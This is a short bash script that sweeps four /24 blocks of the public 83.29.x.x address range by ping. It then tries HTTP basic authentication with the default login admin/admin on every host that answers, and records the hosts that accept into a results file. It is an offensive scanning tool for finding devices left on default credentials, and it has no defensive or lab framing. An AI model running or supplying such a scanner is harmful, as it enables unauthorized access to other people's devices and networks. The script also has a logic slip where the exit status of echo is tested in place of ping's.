#!/bin/bash

ip=$1

for index in {0..3}
do
	ip1=$((($ip*4)+$index))
	for ip2 in {1..254}
        do
                address="83.29."$ip1"."$ip2
                echo $address
                res=`ping -c 1 -i 0.2 $address`
		#| grep "1 received" | wc -l`
                echo $?
                if [ $? -eq 0 ]
                then
                        wget --http-passwd=admin --http-user=admin --tries=1 http://$address
                        if [ $? -eq 0 ]
                        then
                                echo $address >> results.txt
                                rm index.html*
                        fi
                fi
	done
done
